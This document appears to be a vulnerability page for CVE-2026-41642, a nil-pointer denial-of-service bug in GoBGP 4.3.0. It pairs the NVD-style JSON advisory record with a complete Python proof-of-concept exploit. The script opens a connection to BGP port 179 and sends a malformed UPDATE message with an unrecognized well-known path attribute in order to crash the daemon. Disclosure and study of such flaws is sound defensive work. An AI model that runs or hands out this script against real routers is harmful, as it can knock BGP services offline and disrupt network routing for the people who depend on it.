CVE-2026-41642

import socket import struct # Target configuration TARGET_IP = "192.168.1.100" # Replace with actual GoBGP IP TARGET_PORT = 179 def exploit(): try: # 1. Establish TCP connection to BGP port s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) # 2. Construct BGP Header # Marker: 16 bytes of 0xFF marker = b'\xFF' * 16 # Type: 2 (UPDATE Message) msg_type = b'\x02' # 3. Construct BGP UPDATE Message body # Withdrawn Routes Length: 0 withdrawn_len = struct.pack('!H', 0) # Total Path Attribute Length: 4 (for the crafted attribute) path_attr_len = struct.pack('!H', 4) # Path Attribute: # Flags: 0x40 (Well-known, Transitive) - RFC 4271 # Type Code: 0xFF (Unrecognized/Unknown type) # Length: 0 # Value: (empty) attr_flags = b'\x40' attr_type = b'\xFF' attr_len = b'\x00' # Network Layer Reachability Information (NLRI): 0 nlri = b'' # Assemble the body body = withdrawn_len + path_attr_len + attr_flags + attr_type + attr_len + nlri # Calculate Total Length (Header 19 bytes + Body length) total_len = struct.pack('!H', 19 + len(body)) # Final Packet: Marker + Length + Type + Body packet = marker + total_len + msg_type + body # Send the malicious packet s.send(packet) print("[+] Malformed BGP packet sent.") print("[*] Check if GoBGP process crashed.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-41642", "sourceIdentifier": "[email protected]", "published": "2026-05-07T12:16:17.460", "lastModified": "2026-05-07T19:46:05.597", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GoBGP is an open source Border Gateway Protocol (BGP) implementation in the Go Programming Language. In version 4.3.0, a remote Denial of Service (DoS) vulnerability exists in GoBGP due to a nil pointer dereference. When a malformed BGP UPDATE message contains an unrecognized Path Attribute marked as \"Well-known,\" the daemon fails to interrupt the message handling flow. This results in an illegal memory access and a full process crash (panic). This issue has been patched in version 4.4.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:osrg:gobgp:4.3.0:*:*:*:*:*:*:*", "matchCriteriaId": "21D99A4E-C785-427C-AB1C-3EE8B349E686"}]}]}], "references": [{"url": "https://github.com/osrg/gobgp/releases/tag/v4.4.0", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://github.com/osrg/gobgp/security/advisories/GHSA-7235-89m6-f4px", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/osrg/gobgp/security/advisories/GHSA-7235-89m6-f4px", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}